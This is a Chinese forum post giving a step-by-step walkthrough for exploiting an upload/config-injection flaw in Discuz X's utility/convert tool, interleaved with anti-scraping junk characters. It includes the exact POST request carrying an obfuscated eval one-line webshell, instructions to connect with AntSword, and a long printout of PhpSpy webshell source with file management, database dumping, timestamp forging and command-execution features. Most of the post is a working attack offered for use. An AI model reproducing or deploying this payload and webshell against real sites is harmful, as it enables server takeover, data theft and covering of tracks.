找回密码
 立即注册
搜索
查看: 7798|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

991

主题

92

回帖

5万

积分

管理员

积分
55457
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:
  y6 P. }9 a! }( S# Y想要拿下一台主机A的权限:/ B: Y, A  `3 k6 l8 S
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
; @0 a$ a  d- M9 j9 Z# X" O# V2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
( o3 i' g2 p- @1 @; K! m8 u3、传上去后,得到apache用户普通权限,再提权成root
) v# p; [( x! o; s概述:
6 t# ]$ }1 I8 y& t$ d这突破在一个DZ X系列自带的转换工具里面。7 y  v8 {$ c: I; e3 e* m
漏洞路径:utility / convert / data / config.inc.php
( g7 M  t# _  r" T漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
# {' ?$ t  M2 y% p; Q# f触发突破过程:6 g# |- z/ i- [+ I# ]8 F
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
: O. }( Z% @; F0 j2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
( F) D- g9 G  P/ s7 p攻击过程:# a: Z6 L# K% e8 W5 V# ]
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/  T0 `2 I( f% e& @
9 ~  @/ ?2 ?6 h: J. y. F

, N4 }5 O  _: r6 u6 i- x2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
' r7 c4 P; ]7 k) G3 ~* Q0 h% H1 Q1 y0 ^
8、通过中国蚁剑上传大码9 Q5 M, Q7 i7 T: _% @+ R  P* q

; |# }: W% @* N) Y& G
6 }- H) W0 x% L! s3 K6 ?+ W10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php- F- U- w5 x0 |3 p* W5 d" s2 c
  2. - p$ ^+ M& Z. ^; Y
  3. /*****************************************************************************& s0 j' @) e4 N) n' c
  4. ! Q. p$ M( t# w: @
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    7 G0 {% B7 D* z4 w. U9 M
  6. 3 ]7 c" l& L* w0 |# Z, o' A% _9 G
  7. ====
    ; f7 o7 K, R8 I* {% r! b1 Q

  8. ) y- j% M' q9 p* |# I
  9. # x, [) ~  o& a4 {% T! u% I
  10. *****************************************************************************/6 A# Q; ~% w; q0 H$ L' E

  11. 5 T4 @1 b! S& ]% m
  12. error_reporting(7);
    , S% O) `5 R/ P! l8 g( v
  13. @set_magic_quotes_runtime(0);
    5 z) ?0 [8 u! g7 p! @/ x
  14. ob_start();
    ( }  s5 C) |5 M7 e4 \
  15. $mtime = explode(' ', microtime());! k- R! C9 X, {
  16. $starttime = $mtime[1] + $mtime[0];
    0 y; Q% s/ N8 i8 S
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    6 d0 u4 B9 x& W4 e5 i
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    1 Q7 @; Z3 E$ B" X; b" f
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');" B- o1 b- }: }' ?* {! p* [
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    4 `6 I3 d- ^9 R4 X
  21. define('IS_GPC', get_magic_quotes_gpc());: I4 N6 F  n! H& o
  22. $dis_func = get_cfg_var('disable_functions');
    5 j$ b% s! |0 U: C$ v0 C  @
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );- n# H6 i) r! M6 P. }
  24. @set_time_limit(0);: i" M0 D& N0 c5 k, K* L

  25. 1 d/ C' ^, e0 f" E( z6 j# a
  26. foreach(array('_GET','_POST') as $_request) {
    , d" `% Y5 w% R' s  ?
  27.         foreach($$_request as $_key => $_value) {9 B+ {, H' r% v& U" R  @
  28.                 if ($_key{0} != '_') {$ u" H; I- H7 G
  29.                         if (IS_GPC) {  ~+ R1 b7 O# F- u7 e: K5 ?, B7 {! Z
  30.                                 $_value = s_array($_value);* a2 b5 t* o* E: O
  31.                         }
    % |+ |  w. \/ m
  32.                         $$_key = $_value;0 Y: q9 m. W! ^- K! }% k5 Y3 ]
  33.                 }
    % L) _" d4 P& P$ @( h
  34.         }
    " U3 M1 i& n: _; b, `0 L$ N
  35. }
    * o# w" k, `; Z- W8 G

  36. & n7 A: f+ x8 D2 ]" L0 b( G
  37. /*===================== 程序配置 =====================*/6 ?8 p, L7 t* H# k
  38. $admin = array();" \& d% q; q3 C& s. P+ k5 q( @+ {
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    2 o. M9 B0 B' M; |
  40. $admin['check'] = true;
    # f$ y) }; n: R( R5 V4 s. ?- T
  41. // 如果需要密码验证,请修改登陆密码
    8 I# U* P2 I% k9 j# b+ {
  42. $admin['pass']  = 'xuegod';& g+ `$ g$ Y" F% v" h+ q2 q
  43. + ~) s* D- Q1 F6 D5 O" t$ s7 `
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    ; |+ S3 _' N! N4 }
  45. // cookie 前缀& T) _, [2 B6 A
  46. $admin['cookiepre'] = '';
    4 t! d4 G) s* p! c
  47. // cookie 作用域' m% ~0 ]1 D3 R" U$ k! e
  48. $admin['cookiedomain'] = '';
    ! f& h, z  @* [( C
  49. // cookie 作用路径
    8 O! O: K$ i$ y7 A5 ?
  50. $admin['cookiepath'] = '/';
    ' A, ~9 V8 |! x1 r* a: V5 k; ^
  51. // cookie 有效期
      \! C, h, \$ h
  52. $admin['cookielife'] = 86400;
    5 I0 q- C; R9 A8 b! W, {
  53. /*===================== 配置结束 =====================*/" `" W1 c2 c  T1 p) g; X

  54. ; U* @! [" O" J' B& g6 r
  55. if ($charset == 'utf8') {. N, R% `  Z3 P
  56.         header("content-Type: text/html; charset=utf-8");9 b: A; U8 f3 q. d. _
  57. } elseif ($charset == 'big5') {0 D/ J" H8 Z5 s# u$ @9 `
  58.         header("content-Type: text/html; charset=big5");( Z9 L+ n0 T' l2 j* V$ X
  59. } elseif ($charset == 'gbk') {
    0 @% k$ P2 b, p4 F* N# a. Y
  60.         header("content-Type: text/html; charset=gbk");7 d& |7 v% \/ v* ]8 ]. R
  61. } elseif ($charset == 'latin1') {
    & m: u. w6 c4 L8 ^3 Z/ m$ E0 k
  62.         header("content-Type: text/html; charset=iso-8859-2");
    / [& l( w$ w7 c! T# {2 K; M- {
  63. }
    * ]# A; h7 G! s! h/ l! v
  64. + Z9 K( {$ S; w3 e" c/ G% \
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    2 o9 R, w$ y- F6 z! O
  66. $timestamp = time();1 f! w" U* `7 J, Q7 ], q

  67. 0 O1 r; P, a* _* Q
  68. /*===================== 身份验证 =====================*/
    8 {7 ]7 j9 O: e! u! |
  69. if ($action == "logout") {. e' w) E) A! ?  ^4 J$ u
  70.         scookie('phpspypass', '', -86400 * 365);
    7 h" E5 `9 O, n, \) e
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');9 ]! P' [* q- W2 y
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');+ L+ s, s( k0 i& N1 X
  73.         exit;2 }8 B5 ]* h" x, O; [' i& y' @6 a8 V
  74. }
    ! Z+ o& e# L9 w# C8 J; E
  75. if($admin['check']) {  G5 [" @# X6 V, `
  76.         if ($doing == 'login') {
    4 q; c" K% n: M, {8 B0 {
  77.                 if ($admin['pass'] == $password) {, g, r5 F) r, C8 M8 W
  78.                         scookie('phpspypass', $password);3 @8 q, ~$ }; P" d7 f- i
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');% x7 e5 E; x2 U' U0 n
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    $ T/ s$ ]4 \( H. }! H( G1 B
  81.                         exit;
    : M4 g) l1 \8 P7 B2 _" H, f* I
  82.                 }
    ' t3 B9 F9 ~1 p
  83.         }% w8 S8 i( Y- [
  84.         if ($_COOKIE['phpspypass']) {
    ) K9 o8 H, a+ `2 ^
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {  f; ]0 ~- W& o4 X% m& o* E: N
  86.                         loginpage();/ |( ]3 N3 |* R9 s8 k8 [
  87.                 }
    5 K) X) f+ l! d" M! j
  88.         } else {
    - A* x. a- b, G# Y4 _( y- B
  89.                 loginpage();: M8 [, V$ a1 ^
  90.         }
    ! \2 U1 |- O& k9 @4 w
  91. }( q. _1 o+ Q0 l5 `: H
  92. /*===================== 验证结束 =====================*/5 s0 G8 Z( I- p% ?: d9 Q" ?

  93. / Y+ W0 _& s/ f4 a* d
  94. $errmsg = '';
    1 o. f9 b. e0 `6 e
  95. 2 U- D1 d9 H7 M+ `  a1 _
  96. // 查看PHPINFO
    5 {, d" o( g! C, v% b  k/ r
  97. if ($action == 'phpinfo') {# [& o; N/ |3 b7 H& j: O4 K5 ]/ ~
  98.         if (IS_PHPINFO) {
    7 U, s6 q9 p5 J
  99.                 phpinfo();! d- f2 N, a" q) r# I
  100.         } else {& V) u; v9 b7 u) G. _4 F
  101.                 $errmsg = 'phpinfo() function has non-permissible';
    - o5 y1 q0 }% u3 i' Y
  102.         }4 D6 _% w1 x2 O1 E1 P$ H
  103. }
    " Q( L! e8 N" @' {9 ~8 d

  104. 6 L/ F9 R$ N( X. S$ j
  105. // 下载文件
    ; A- G8 B' k. r
  106. if ($doing == 'downfile' && $thefile) {
    7 R$ p! r8 B3 u" b: g- ]0 P: q
  107.         if (!@file_exists($thefile)) {
    $ X0 c% H! f6 R; r- J1 u6 \
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';8 _+ ]- N6 S' r
  109.         } else {, G  L4 h  L. K" T, e, j# u5 ?# N
  110.                 $fileinfo = pathinfo($thefile);3 S( X" `; I) T
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    # w+ n; j$ j  n) v! _
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);; d, D( M9 M( m) o
  113.                 header('Content-Length: '.filesize($thefile));
    $ u- X, e0 Z; |, M( I& x) K- f' w9 N
  114.                 @readfile($thefile);
    : z  R6 B1 T+ S: P  X; a$ ]
  115.                 exit;7 \! O+ E. ~! N# v$ h! C
  116.         }
    3 h: x2 k4 c' z3 R. E8 ?5 c* ]
  117. }. l" S7 V) u5 A# h8 `* _7 ?
  118. ! k! n' x6 W9 G. {1 j8 ]1 @; r
  119. // 直接下载备份数据库  L7 H( t( [% d
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    : C0 z: _8 X. f8 o, ]! i
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    5 T: V7 L( y/ I; j
  122.         $table = array_flip($table);  m2 @$ ?, G  w6 b$ J& s7 n8 J, e
  123.         $result = q("SHOW tables");  B, ]% a" ?4 _0 _8 D) c& Q9 ], D
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    $ x7 }7 }' h+ B- c, O
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');" m8 E: ^9 M1 A0 {% i' K4 i8 |/ C
  126.         header('Content-type: application/unknown');7 _3 o( T& p4 U# ^/ V
  127.         header('Content-Disposition: attachment; filename='.$filename);: Q7 I. }7 s5 p5 Y( W6 |2 }) E
  128.         $mysqldata = '';' K' p  }/ X. ]4 d
  129.         while ($currow = mysql_fetch_array($result)) {. q* H/ m  U4 K6 B" s, W; w5 e
  130.                 if (isset($table[$currow[0]])) {5 V0 c' W, M% A" n( \
  131.                         $mysqldata .= sqldumptable($currow[0]);
    " @9 ?" W$ [) H
  132.                 }
    0 ?3 K' A7 o. l, j( V+ m% @
  133.         }9 B& T8 O+ {8 F% I! ~
  134.         mysql_close();
    ( K# u8 ]9 Q, W
  135.         exit;
    # w+ F9 y/ P$ L* I! Q$ k8 p3 b
  136. }+ H! B( d, [4 r# {

  137. % y5 N! E$ _5 I# H6 ]
  138. // 通过MYSQL下载文件
    5 ]4 ~( n2 d1 S5 t8 O9 l
  139. if($doing=='mysqldown'){
    ; S0 I! X% e! d5 f* f
  140.         if (!$dbname) {: ]4 P2 E5 S$ m. b- T, X2 B
  141.                 $errmsg = 'Please input dbname';
    0 D' z9 P7 K- _( ?- W) u
  142.         } else {5 Z! y2 ~8 f  m
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    ! x6 w. g) d7 w  _3 q) `
  144.                 if (!file_exists($mysqldlfile)) {1 j# ~) O# e+ T4 N7 i
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';+ v/ b# C' b: g) d7 T! O; o
  146.                 } else {
    4 p# H: A" v* M3 _3 J9 W& I
  147.                         $result = q("select load_file('$mysqldlfile');");
    ) j) y6 x* L$ n, H& J, Q
  148.                         if(!$result){9 Z; c" g; J4 r3 c4 U0 S/ q
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    , ~5 D; m  H3 P  a- q# H3 O0 F
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");" h- \6 s( C: X4 c/ j
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    : R) ~4 U- U# X+ P0 Q9 T9 R% S
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");/ @  @5 V0 c1 N  B8 M( @
  153.                                 $result = q("select content from tmp_angel");
    % J8 L7 m+ Y" a# K8 t
  154.                                 q("DROP TABLE tmp_angel");% y6 Y6 O7 S1 Y& d
  155.                         }( h9 N6 s! v* c' r
  156.                         $row = @mysql_fetch_array($result);8 |7 @) z% A9 R  b0 ^6 l4 g
  157.                         if (!$row) {
    3 Z+ ~" Y8 j; z# d, S
  158.                                 $errmsg = 'Load file failed '.mysql_error();( J' f- l7 D, F3 M' ?; \& V
  159.                         } else {) y! A0 Q  s8 [0 S! f3 S
  160.                                 $fileinfo = pathinfo($mysqldlfile);+ w- }: @6 P8 m
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);) z% k4 O+ _5 q$ N
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    1 G( }, k7 e  I  b
  163.                                 header("Accept-Length: ".strlen($row[0]));
    2 h- g' N3 U' q
  164.                                 echo $row[0];2 ?; ]% j# d, P. ~0 A5 T" s6 I
  165.                                 exit;
    6 j! }2 P( l$ j/ w9 O' L  \
  166.                         }
    $ O1 J/ x& }# F; j- Y1 M$ x2 R
  167.                 }9 @# L0 f3 x) D7 F7 W8 D
  168.         }
    7 G# l% G: a: u8 x5 L
  169. }2 n, k8 H- k" _6 v. _

  170. # l7 \4 K& X" r: u5 p! p
  171. ?>1 V& K; x; d# U" R+ y
  172. <html>
    1 H! N" C: h2 u  b. o) H7 s+ h; V) s) u
  173. <head>
    4 G$ S1 T- D) l; L9 I
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
    9 z7 @6 W7 i/ Z6 I9 c0 w
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>9 {' r! _4 t0 z/ O6 }9 h9 d, ]/ U
  176. <style type="text/css">) K# [1 n7 O! i$ [0 C' I8 F
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}$ b) m: n* b1 B3 ^2 L7 w& F
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}8 j+ B7 w/ c7 |2 ?) e+ Y9 M! V
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    ( L( Y2 H) g% s9 H
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    . W/ Z$ d- T3 M* X
  181. a {color: #00f;text-decoration:underline;}. w! l! S' y9 D& [6 X" X7 j4 H
  182. a:hover{color: #f00;text-decoration:none;}3 _2 x$ M! x- `3 D1 o* V, T# j/ z
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}. v& q7 W1 q3 i
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    1 N0 P  `# |4 ~% \5 L4 {/ |& i
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}6 a4 S" S( H/ J9 F. p* t5 w
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    2 I3 r. O- p/ i. z5 X
  187. .head td span{font-weight:normal;}
    6 H; I; x# B' d; P
  188. form{margin:0;padding:0;}
    5 g/ m1 u4 z1 J: {( x* ]2 M
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
    , C' u8 a" m) O
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}7 S8 ~* k% \( \/ {# W) \6 [
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}: [- o5 R0 Y8 Y, o8 w8 @; d0 l4 i
  192. </style>3 i: o* k+ u& [  j
  193. <script type="text/javascript">, e, ]) m7 X; n. i
  194. function CheckAll(form) {
    7 i7 C5 s7 Y: D
  195.         for(var i=0;i<form.elements.length;i++) {( Z$ K4 u* U% G9 x3 M
  196.                 var e = form.elements[i];4 \" H" v' _  V: U3 t
  197.                 if (e.name != 'chkall')
    - F, N1 y7 S6 ?' n+ N0 z$ D
  198.                 e.checked = form.chkall.checked;
    7 l7 j8 M4 m. {3 _. u# X5 F3 i
  199.     }% w8 Y, A/ I0 }$ z& [, w
  200. }# p. Z/ ^7 T9 |6 b" s  P" ]. K/ _
  201. function $(id) {" C4 q* I, J) z' Q: Z. {- n: _2 o
  202.         return document.getElementById(id);
    ' E! M, X/ S5 b; z
  203. }6 m* P3 x9 p1 m, E) O
  204. function goaction(act){1 t7 K4 E8 p! }4 W& [1 g: B
  205.         $('goaction').action.value=act;' P, k2 F- u$ l; z$ P7 ~& m9 m5 @
  206.         $('goaction').submit();# Q! I+ e. X6 a$ K
  207. }' C% A6 }2 W; M  C6 \4 ^6 E
  208. </script>
    4 X; r7 V0 _$ M  q3 `! j7 @* P2 W
  209. </head>1 _, U+ X% x- E% v. ]1 L# S
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    & L! W3 H" |4 R; g7 x* q% J: x) U
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    . u: ~' j& ]2 D4 |1 L$ {$ Z* t6 c
  212.         <tr class="head">
    / ~% o" D7 a" p' J* E3 D
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>2 g( X  x4 t2 A1 T3 F6 x3 Q: n' P
  214.         </tr>
    6 z  {1 C% R. l& H) n$ a4 j, h
  215.         <tr class="alt1">) Z1 B" Y5 |8 g: F  }
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
    3 w- i7 c% F3 u8 b0 R( L
  217.                         <a href="javascript:goaction('logout');">Logout</a> | : `' y$ i5 V8 I) }( E. u
  218.                         <a href="javascript:goaction('file');">File Manager</a> | 1 M4 z  @+ t2 Z' e6 e
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    1 N% j2 M' d; q
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | 7 ]6 T: {; |, ~
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    7 F' i% d( p( G- P% [& Z& q
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    6 i$ ], v, i. ?  w
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
    5 j6 F: v5 `& L) g0 F3 p/ M, x
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
      g2 k, u, C4 o! s) r# l
  225.                 </td># ]& d) |0 i* v; n+ z" j. Q2 K  H
  226.         </tr>
    0 ^; ]/ o/ y7 T8 V$ s# W  ^
  227. </table>
    ; E: \/ Y: n8 R- A
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    " d% N7 P1 d9 d9 O* F9 Y
  229. <?php* B' z3 p2 ~; c' W/ O7 y9 a
  230. . L8 d. G. c: E9 x, u
  231. formhead(array('name'=>'goaction'));% _7 a  A; l! e9 @" o
  232. makehide('action');
    : T7 z7 f5 V" s( X. z" v& o
  233. formfoot();& m! F( e0 W. q1 B6 H5 J
  234. 0 g( k! i# J) U6 u+ Z9 ]0 O
  235. $errmsg && m($errmsg);- Z2 n: S6 |) ~  A! F! O

  236. # k6 |) M8 F0 s# w2 P' h/ Z
  237. // 获取当前路径; s$ U5 F. u% `* O
  238. !$dir && $dir = '.';& T. c. ^) I* N! w1 C
  239. $nowpath = getPath(SA_ROOT, $dir);
    2 o3 y: {; A, k  ?  G4 r' `
  240. if (substr($dir, -1) != '/') {
    8 B4 _; d- s2 K- T) O
  241.         $dir = $dir.'/';
    / o9 H( k! R1 k
  242. }5 C, c3 M: |% z6 c( u2 l
  243. $uedir = ue($dir);8 v" B7 R- x3 Y8 D" m+ [- W
  244. ' \+ P2 s+ t% _4 n( G$ X3 S2 t
  245. if (!$action || $action == 'file') {
    : f3 f( M; u& p3 k+ u

  246. 9 [7 Q- _! l; o, A: ?
  247.         // 判断读写情况
    0 ~9 b- D5 F4 I
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';  |" X) D" L  Y: \1 E, t1 j' s
  249. + [0 f1 Z  |' A4 {" a0 ~
  250.         // 删除目录* D* d9 U  m. ]8 |/ s  [" T
  251.         if ($doing == 'deldir' && $thefile) {
    * t& L! C2 _9 u8 |  L
  252.                 if (!file_exists($thefile)) {. p% n7 U% F; X5 G/ |
  253.                         m($thefile.' directory does not exist');7 j/ v1 h5 Z5 J1 I' C5 P3 C  E6 ]
  254.                 } else {7 `& H2 ]% `. K% ?
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    ! p* o8 F1 o8 o1 E, I3 E
  256.                 }; S! C1 C8 @& N; h0 J, h
  257.         }" r9 m# N4 F5 a; y) [

  258. & A# @8 X, k( Z; l: a9 n$ Y
  259.         // 创建目录: {$ m' a! u/ [0 ]' B3 y. |- F- K* s
  260.         elseif ($newdirname) {
    5 ]# ?9 |. o8 C/ ]7 F! D
  261.                 $mkdirs = $nowpath.$newdirname;# y3 B- z  I% }  a! r; g! S
  262.                 if (file_exists($mkdirs)) {; X+ o. ~2 J# v( H7 c% b
  263.                         m('Directory has already existed');
    8 Z) l, f. V7 P  a3 b
  264.                 } else {
    # h+ o. f- v" b, r
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));5 C- ?, d/ [& {- O7 Q8 Y$ N
  266.                         @chmod($mkdirs,0777);
    3 u7 W4 n1 B) Z& _$ n, y
  267.                 }
    ! |5 X+ O+ t: J; K0 A% m4 |
  268.         }  q7 b# e1 ~4 O. k" z. b) b
  269. : m: w" _2 T0 |* m+ g0 Z
  270.         // 上传文件
    ' T8 k& N1 |) }$ L( J$ j' {
  271.         elseif ($doupfile) {
      d& ^7 p8 u) T: y
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));$ p0 P  R( K; [- `
  273.         }
    ! j& k% O: L* @+ k
  274. 6 u. J$ z* t- g- ?/ v
  275.         // 编辑文件
    * l' [: ?4 V% ~( ?
  276.         elseif ($editfilename && $filecontent) {
    2 o' }# O. U& Y0 l& o! ^
  277.                 $fp = @fopen($editfilename,'w');
    * q$ D+ h$ t1 x: @) ?
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));. R0 W! Y/ t$ [- Y/ Z" T
  279.                 @fclose($fp);
    ' B0 G( k6 L0 {) n% T3 K
  280.         }" z1 n0 a( z5 q! Q. d- x& y, ^
  281. 3 K1 d7 \  R$ y1 c0 B
  282.         // 编辑文件属性$ J* c. p8 }* K$ Q; s7 E* V
  283.         elseif ($pfile && $newperm) {
    : V4 C4 Q; S3 t# h7 G
  284.                 if (!file_exists($pfile)) {
    $ r1 R/ h7 t6 V4 O* R4 W
  285.                         m('The original file does not exist');' T* g& @& r2 `" u* R* }. F# I
  286.                 } else {
    9 `0 b4 h0 @" p
  287.                         $newperm = base_convert($newperm,8,10);6 k7 a, }- L& d' ^
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));. Z% m& o! ~4 `" D4 J4 t
  289.                 }
    , T! W# I- R% _# V8 ^. @
  290.         }
    0 |2 i9 T4 \. c* w8 ~0 B

  291. ; r* u# Y( ]$ g6 q
  292.         // 改名
    ( j2 l: n8 s( N9 V* D) C7 o
  293.         elseif ($oldname && $newfilename) {; o* _1 o* x/ h3 o
  294.                 $nname = $nowpath.$newfilename;1 X/ y! E2 i9 O% i! L6 T
  295.                 if (file_exists($nname) || !file_exists($oldname)) {8 \1 q3 W9 B# d8 G
  296.                         m($nname.' has already existed or original file does not exist');
    8 Q% M. ~; c' t5 G7 f, l
  297.                 } else {
    7 k8 {$ M) V0 U+ `% p2 Y' l4 _
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
      M# j& ]# X4 L
  299.                 }
    5 P& D% f3 |% m9 W+ [* u
  300.         }
      e4 e; v; R* x

  301. 6 K+ f2 H" B( _$ N5 z. m* c" i
  302.         // 复制文件
    , C& H0 F: @8 Q8 J
  303.         elseif ($sname && $tofile) {
    , S+ ~3 ^+ K2 F! A
  304.                 if (file_exists($tofile) || !file_exists($sname)) {4 O  R. l- j! o& V% H) g
  305.                         m('The goal file has already existed or original file does not exist');4 T  ]; l* b- q
  306.                 } else {
    2 o9 x3 i% E6 Y% k
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));$ i: O3 m. w3 z
  308.                 }
    5 Y" s* Q' g4 B
  309.         }
    , q. j2 e# ]$ ?" u4 [, t

  310. 5 a1 @: L. @/ V4 L$ Z9 B
  311.         // 克隆时间. s4 T" n) w: n; j* G
  312.         elseif ($curfile && $tarfile) {
    * T% g! V1 l* C6 j/ q+ y9 c
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {9 D6 s" D# D1 U$ I, q/ `% M
  314.                         m('The goal file has already existed or original file does not exist');
    5 H( Y, J4 K- x! T3 U7 `; o
  315.                 } else {
    " q$ w1 U  b- V* s/ K
  316.                         $time = @filemtime($tarfile);
    " @+ a. E5 h4 |) l4 m
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    9 [; r" b$ ~9 T
  318.                 }2 u, z% C% H9 T
  319.         }4 S$ i. U* U* y5 S% c0 o+ R7 K' R* o

  320. : M0 H3 l' e6 Q; o/ m; U
  321.         // 自定义时间
    " [9 Z$ N9 N2 u& P6 l" V
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {7 \  e+ V3 U) @& O) l& b
  323.                 if (!@file_exists($curfile)) {/ e; F1 ^3 A. s$ D
  324.                         m(basename($curfile).' does not exist');
    3 E* g8 Z6 k4 j% v# M
  325.                 } else {  {" f/ \' R. |8 I1 R2 S
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");# V! Z8 C# g& _: ~7 i0 x
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));5 n9 P+ Z  v$ A1 ]1 Y
  328.                 }
    ) f5 _5 f. ]# Y
  329.         }, d0 Z5 u) ]% n9 |

  330. 3 l" S: J* `6 O% |3 j) e. [, Y
